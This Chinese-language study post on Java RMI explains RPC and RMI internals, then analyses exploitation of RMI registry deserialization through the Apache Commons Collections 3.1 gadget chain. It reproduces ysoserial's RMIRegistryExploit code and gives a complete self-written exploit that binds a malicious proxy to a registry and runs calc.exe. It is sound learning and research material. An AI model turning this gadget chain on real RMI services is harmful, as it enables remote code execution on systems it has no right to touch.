Contents
前言
准备花时间对java安全方面进行研究,而RMI反序列化导致的RCE也是屡见不鲜,因此本文对RMI以及RMI安全方面进行一个叙述和探索,也是主要参考了P牛的java安全漫谈来一步一步进行了解,下面开始进入正文部分
RMI的简介
JAVA本身提供了一种RPC框架RMI即Java远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)
去实现的,需要注意的是RMI是java实现RPC的一种方式,但并不是唯一的方式,既然提到RPC,也就需要了解RPC
什么是RPC
RPC,全称Remote Procedure Call
——远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的方式。简单一点就是:通过一定协议和方法使得调用远程计算机上的服务,就像调用本地服务一样。
通常来说,RPC 的实现方式有很多,可以基于常见的 HTTP 协议,也可以在TCP上层封装自定义协议,常见的 Web Service 就是基于 HTTP 协议的 RPC,HTTP 协议的优点是具有良好的跨平台性,特别适合异构系统较多的公司,但是由于 HTTP 报头较为冗长,性能较差,基于 TCP 协议的 RPC 可以建立长连接,速度和效率明显,但是难度和复杂程度很高。
RPC 的诞生让构建分布式应用更容易,极大的扩大系统的可扩展性,容错性。为复杂业务逻辑的系统进行服务化改造和高可用性升级提供了可能。
RMI也是实现RPC的一种方式,这里贴上一张RMI的调用逻辑图:

通过这张图也能发现,RMI分为三个主题对象,分别为:
– 1.RMI服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。
– 2.RMI客户端:客户端调用服务端的方法
– 3.RMI注册中心:理解为查询到需要远程调用的方法的引用
在这里先实现这样一个RMI的工作过程,在实现的过程中逐渐对RMI进行进一步的了解和分析:
这里将注册中心和服务端放置在一起,也可以分开写
package RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
//RMI 服务端需要一个继承Remote的接口,其中定义的方法为支持远程调用的方法
public interface HelloWorld extends Remote{
public String Hello() throws RemoteException; //定义的方法需要跑出RemoteException的异常
/*
* 由于任何远程方法调用实际上要进行许多低级网络操作,因此网络错误可能在调用过程中随时发生。
因此,所有的RMI操作都应放到try-catch块中
* */
}
public static class RemoteHelloWorld extends UnicastRemoteObject implements HelloWorld{
protected RemoteHelloWorld() throws RemoteException { //需要抛出一个Remote异常的默认初始方法
}
@Override
public String Hello() throws RemoteException { //实现接口的方法
return "Hello World!";
}
}
//注册远程对象
private void start() throws Exception{
RemoteHelloWorld rhw = new RemoteHelloWorld();
System.out.println("registry is running...");
//创建注册中心
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/hello",rhw);
}
//主类。用于创建注册中心,并将类实例化绑定到一个地址
public static void main(String[] args) throws Exception{
//创建远程对象实例
new RMIServer().start();
}
}
客户端:
package RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception{
//这里直接使用Naming.lookup和先通过得到注册中心,再从注册中心查询到名字为hello的远程对象是都可以的
//RMIServer.HelloWorld hello = (RMIServer.HelloWorld) Naming.lookup("rmi://127.0.0.1:1099/hello");
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
RMIServer.HelloWorld hello = (RMIServer.HelloWorld)registry.lookup("hello");
String ret = hello.Hello();
System.out.println(ret);
}
}
使⽤用Naming.lookup
在Registry中寻找到名字是hello
的对象,此时我们已经获取到了远程对象的引用,那么就可以调用对象的方法为客户端进行服务:

可以看到客户端得到远程的方法并且进行调用,下面通过先知一位师傅的图再次进行理解:

- stub:为得到的远程代理对象
- Skeleton:服务端返回执行结果给Skeleton,Skeleton通过invoke在服务端执行方法
通过调试我们来对整个源码进行一个大致分析:
1.使用Naming进行对远程实例对象进行查询

会调用
RegistryImpl_Stub
对象的lookup
方法,继续跟进:
这里将代码贴出
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
//通过TCP发送数据到服务端
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
做的事情是利用服务端host和port等信息创建的RegistryImpl_stub
对象构造RemoteCall调用对象
在newcall
方法中,对注册中心进行连接,理解为建立了跟远程RegistryImpl
的Skeleton对象的连接

连接建立完成后下一步就是传输数据,我们继续来看数据是如何进行传输的,注意super.ref.invoke(var2)方法,会执行invoke方法,而跟进该方法发现:

调用excuteCall()方法:
public void executeCall() throws Exception {
DGCAckHandler var2 = null;
byte var1;
try {
if (this.out != null) {
var2 = this.out.getDGCAckHandler();
}
this.releaseOutputStream();
//读取连接输入数据流
DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
byte var4 = var3.readByte();
if (var4 != 81) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
}
throw new UnmarshalException("Transport return code invalid");
}
this.getInputStream();
var1 = this.in.readByte();
this.in.readID();
} catch (UnmarshalException var11) {
throw var11;
} catch (IOException var12) {
throw new UnmarshalException("Error unmarshaling return header", var12);
} finally {
if (var2 != null) {
var2.release();
}
}
switch(var1) {
case 1:
return;
case 2:
Object var14;
try {
var14 = this.in.readObject();
} catch (Exception var10) {
throw new UnmarshalException("Error unmarshaling return", var10);
}
if (!(var14 instanceof Exception)) {
throw new UnmarshalException("Return type not Exception");
} else {
this.exceptionReceivedFromServer((Exception)var14);
}
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
}
throw new UnmarshalException("Return code invalid");
}
}
此时应该是将数据通过流的方式全部传输完成,到使用远程对象方法时可以看到:

此时的连接已经是和
49831
端口建立的,而并非我们之前绑定的端口,这里直接使用P牛的描述:这整个过程,首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回⼀一个序列列化的数据,这个就是找到的
Name=hello
的对象,这个对应数据流中的ReturnData消息;客户端反序列列化该对象,发现该对象是一个远程对象,地址在192.168.135.142:49831 ,于是再与这个地址建⽴立TCP连接;在这个新的连接中,才执⾏行行真正远程方法调⽤用,也就是hello()
因此RMI Registry就像一个网关,他⾃己是不会执行远程方法的,但RMI Server可以在上⾯注册一个Name到对象的绑定关系;
RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMIServer;最后,远程方法实际上在RMI Server上调用。
RMI的利用之处
思考我们能从什么方面来利用RMI进行攻击?
RMI注册中心实则是一个远程管理对象的一个平台,通过访问注册中心得到实例化的类进而调用类方法,是否能够直接对访问注册中心,修改远程服务器上的对象呢?
在RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法,不过list和lookup方法可以远程调用,这样也就避免了来自外部的恶意绑定
因此如果可以使用lookup
方法,lookup作用就是获得某个远程对象。
如果对方RMI注册中心存在敏感远程服务,就可以进行探测调用
https://github.com/NickstaDB/BaRMIe
该工具即使探测是否存在危险的远程对象方法从而进行攻击,这相当于是对注册中心进行的攻击
下面我们重点研究模拟服务端对注册端发起攻击的方法,实际上服务端能够对注册中心进行攻击,注册中心能够对客户端进行攻击,客户端同样能够攻击注册中心,因为在这其中,数据的处理使用了readObject
进行反序列化操作,因此可以构造恶意的payload
来达到命令执行的目的
这里我们以Apache Commons Collections
反序列化漏洞为例,使用的版本为commons-collections.jar 3.1
,关于该反序列化的漏洞分析已经在前文提到过,这里在进行一次叙述:
在apache.commons.collections.functors
中,有一个InvokerTransformer类,它继承了Transformer和Serializable
接口,在类中有一个成员函数transform,它通过反射技术可以调用任意类的任意方法。

结合其构造方法,可以调用其他类方法达到命令执行的目的,下面通过一段demo来进行演示:
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class eval {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
Class cls = Runtime.class;
//这里为了复习反射,并没有直接使用Runtime.getRuntime()方法,而是通过反射的方式实现
Method getRuntime = cls.getDeclaredMethod("getRuntime");
getRuntime.setAccessible(true);
invokerTransformer.transform(getRuntime.invoke(cls));
}
}
关于Apache Commons Collections反序列化
具体的原理分析也可以参考:
https://www.xmanblog.net/java-deserialize-apache-commons-collections/
原理分析的比较透彻,其实如果是通过RMI来利用,比起常规使用Apache Commons Collections反序列化
也只是多出了一步RMI的通信的步骤,在通信过程中会自动的进行反序列化的操作,最终通过Gadget来调用exec实现RCE,下面通过一个RMIexploit
来演示:
在这里直接来分析ysoserial
中CommonsCollections5
中的payload,在本地开启RMI服务端后,直接使用ysoserial
能够执行弹出计算器的命令:

我们来看它的gadgetChain:

由于是利用
Apache Commons Collections
漏洞,因此主要攻击原理是在上文参考连接中,这里只是借助RMI服务端充当反序列化的媒介,看下核心代码ysoserial.exploit.RMIRegistryExploit#exploit:
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
//获取payload
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//将payload封装为Map,通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
//变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
//封装的remote类型,通过RMI客户端的正常接口发出去
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
关于动态代理,实际上是完成没有实现类但是在运行期动态创建了一个接口对象的方式的需求,通过JDK提供的Proxy.newProxyInstance()
创建了一个接口对象,这种方式称为动态代理。
在运行期创建一个interface
实例的方法如下:
1.定义一个InvocationHandler
实例,负责实现接口的方法调用
2.通过Proxy.newProxyInstance()
创建interface
实例,需要三个参数:
1.使用的ClassLoader
,需要获得接口类的ClassLoader
2.需要实现的接口数组,至少传入一个接口
3.用来处理接口类方法调用的InvocationHandler
实例
3.将返回的Object强制类型转换为接口
因此在进行RMIexploit
中:
· 被代理的接口:Remote.class
· 处理接口方法调用的InvocationHandler
实例:sun.reflect.annotation.AnnotationInvocationHandler
调用实现Remote接口的绑定代理的对象的任意方法都会自动被拦截,前往sun.reflect.annotation.AnnotationInvocationHandler
的invoke方法执行
下面分析ysoserial是如何完成动态代理的:
//Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
//iface是被动态代理的接口
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
//这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
//传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
//正式开始绑定代理动态代理
//ih 拦截器
//iface 需要被代理的类
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//上面整合了一下需要代理的接口到allIfaces里面
//然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
完成了一个通过动态代理封装Remote.Class
的接口对象,可能存在疑惑bind
不是在服务端实现的吗?为什么在客户端同样也能进行使用,这里请参考先知一位师傅的文章,讲的非常具体和透彻:
https://xz.aliyun.com/t/2223
包括最后服务端是如何反序列化获取name
和remote
对象的,也正是因为会反序列化remote
对象,在ysoserial
中才通过使用动态代理来实现Remote
接口类,从而将payload
进行反序列化

这样其实是将payload
放到了实现Remote
接口的类的属性中,当服务端进行反序列化时,利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点,来反序列化我们的payload,从而触发漏洞。
动态代理做到把payload放在AnnotationInvocationHandler
拦截器的属性里面,然后动态代理可以把拦截器包装成任意类接口,这里AnnotationInvocationHandler
就是实现Remote
接口的类,因此其实在这里可以不使用动态代理来实现该类,可以自己实现Remote
接口的类,然后放入payload
,也可以最终实现RCE
payload分析
文章的最后分析一下关于payload部分细节的处理之处:
对于反序列化利用,我们是利用循环调用Transerformer
先传入Runtime
类,通过反射来调用getMethod
方法,该方法参数为getRunTime
,得到该函数后在通过反射调用Invoke
方法来得到Runtime
实例,最后再通过反射来调用Runtime
实例的exec方法
在lazyMap
中存在get
方法调用了transform函数,factory为构造方法的第二个参数:

在TiedMapEntry
类中,调用map类的get方法,有被同文件的toString
函数调用:
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
而在Apache Commons Collections
中我们还需要找到一个反序列化的点,因此查看哪些类进行了readObject
方法的重写,在BadAttributeValueExpException类中
重写了readObject
方法:

更巧的是其中valObj对象在从输入流获取后执行了toString()方法:
因此
gadget chain
很清晰:1.首先构造好TransformerChain
2.构造好lazyMap对象,其get方法会调用transform方法
3.构造好TiedMapEntry对象,其第一个参数Map为2中的lazymap对象,这样在进行
toString()
方法时会调用getvalue()
进一步调用get
4.声明一个
BadAttributeValueExpException对象
,并且它的参数Object为3中的TiedMapEntry
实例,这样反序列化后就会调用TiedMapEntry
的toString方法,进而触发链
public class gadgetChain {
public static void main(String[] args) throws Exception{
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//声明lazyMap来调用transform
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,transformerChain);
//实例化TiedMapEntry,并且将lazyMap作为第一个参数
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"exp");
//实例化BadAttributeValueExpException类,并且使其val属性为tiedMapEntry
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
String name = "pwned " + System.nanoTime();
Map<String, Object> map = new HashMap<String, Object>();
map.put(name, badAttributeValueExpException);
// 获得AnnotationInvocationHandler的构造函数
Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
cl.setAccessible(true);
// 实例化一个代理
InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
Remote remote = Remote.class.cast(object);
Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
registry.bind(name, remote);
}
}
自己也跟着ysoserial
的链复写了一遍,其中有一些细节需要说明。
badAttributeValueExpException对象为何不直接通过构造方法声明val属性
我们可以看到在代码中使用:
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
为何不直接使用下面构造方法来实现而是通过更加复杂的反射呢?
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedNapEntry);
其中这个问题上跟进该类的构造方法就很容易明白:
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
可以看到,当传入对象不是null
时,会调用该对象的toString
方法,即tiedMapEntry
的toString方法,这样val
属性就会是String类型,造成后续Chain的无效
为何不直接将badAttributeValueExpException通过bind绑定到RMI
可以看到在ysoserial
链中并没有直接将该类绑定,这是因为前文提到bind
第二个参数必须是Remote
类型,而badAttributeValueExpException
无法强制转换成Remote
类型,因此封装在AnnotationInvocationHandler
中,通过动态代理的方式把payload放在一个remote接口的类的属性里面,然后在服务端反序列化的时候,利用反序列化一个对象的过程中会递归类的属性进行反序列化的特点,来反序列化我们的payload,从而触发漏洞。
分析到这里,RMI反序列化初步的学习也就到这儿了,后面在慢慢探索java反序列化的其他问题,如果有没有理解到位或者分析错误的情况,还请各位多多包涵和指点。